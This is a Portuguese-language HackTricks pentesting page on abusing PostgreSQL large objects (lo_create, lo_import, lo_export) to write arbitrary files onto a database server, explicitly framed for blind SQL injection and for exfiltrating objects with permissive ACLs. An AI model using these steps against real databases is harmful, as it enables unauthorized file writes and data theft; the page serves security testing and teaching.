Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
### Objetos Grandes do PostgreSQL
O PostgreSQL oferece uma estrutura conhecida como **objetos grandes**, acessíveis através da tabela `pg_largeobject`, projetada para armazenar tipos de dados grandes, como imagens ou documentos PDF. Esta abordagem é vantajosa em relação à função `COPY TO`, pois permite a **exportação de dados de volta para o sistema de arquivos**, garantindo que uma réplica exata do arquivo original seja mantida.
Para **armazenar um arquivo completo** dentro desta tabela, um objeto deve ser criado na tabela `pg_largeobject` (identificado por um LOID), seguido pela inserção de pedaços de dados, cada um com 2KB de tamanho, neste objeto. É crucial que esses pedaços tenham exatamente 2KB de tamanho (com a possível exceção do último pedaço) para garantir que a função de exportação seja executada corretamente.
Para **dividir seus dados binários** em pedaços de 2KB, os seguintes comandos podem ser executados:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
Para codificar cada arquivo em Base64 ou Hex, os comandos abaixo podem ser usados:
```bash
base64 -w 0 # Encodes in Base64 in one line
xxd -ps -c 99999999999 # Encodes in Hex in one line
```
**Importante**: Ao automatizar este processo, certifique-se de enviar pedaços de 2KB de bytes de texto simples. Arquivos codificados em hexadecimal exigirão 4KB de dados por pedaço devido ao dobro de tamanho, enquanto arquivos codificados em Base64 seguem a fórmula `ceil(n / 3) * 4`.
O conteúdo dos grandes objetos pode ser visualizado para fins de depuração usando:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### Usando `lo_creat` & Base64
Para armazenar dados binários, primeiro é criado um LOID:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
Em situações que exigem controle preciso, como explorar uma Injeção de SQL Blind, `lo_create` é preferível para especificar um LOID fixo.
Os pedaços de dados podem então ser inseridos da seguinte forma:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('', 'base64'));
```
Para exportar e potencialmente excluir o large object após o uso:
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### Utilizando `lo_import` & Hex
A função `lo_import` pode ser utilizada para criar e especificar um LOID para um objeto grande:
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Após a criação do objeto, os dados são inseridos por página, garantindo que cada fragmento não exceda 2KB:
```sql
update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=1;
```
Para completar o processo, os dados são exportados e o grande objeto é excluído:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### Limitações
É observado que **objetos grandes podem ter ACLs** (Listas de Controle de Acesso), potencialmente restringindo o acesso até mesmo a objetos criados pelo seu usuário. No entanto, objetos mais antigos com ACLs permissivas ainda podem ser acessíveis para exfiltração de conteúdo.
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.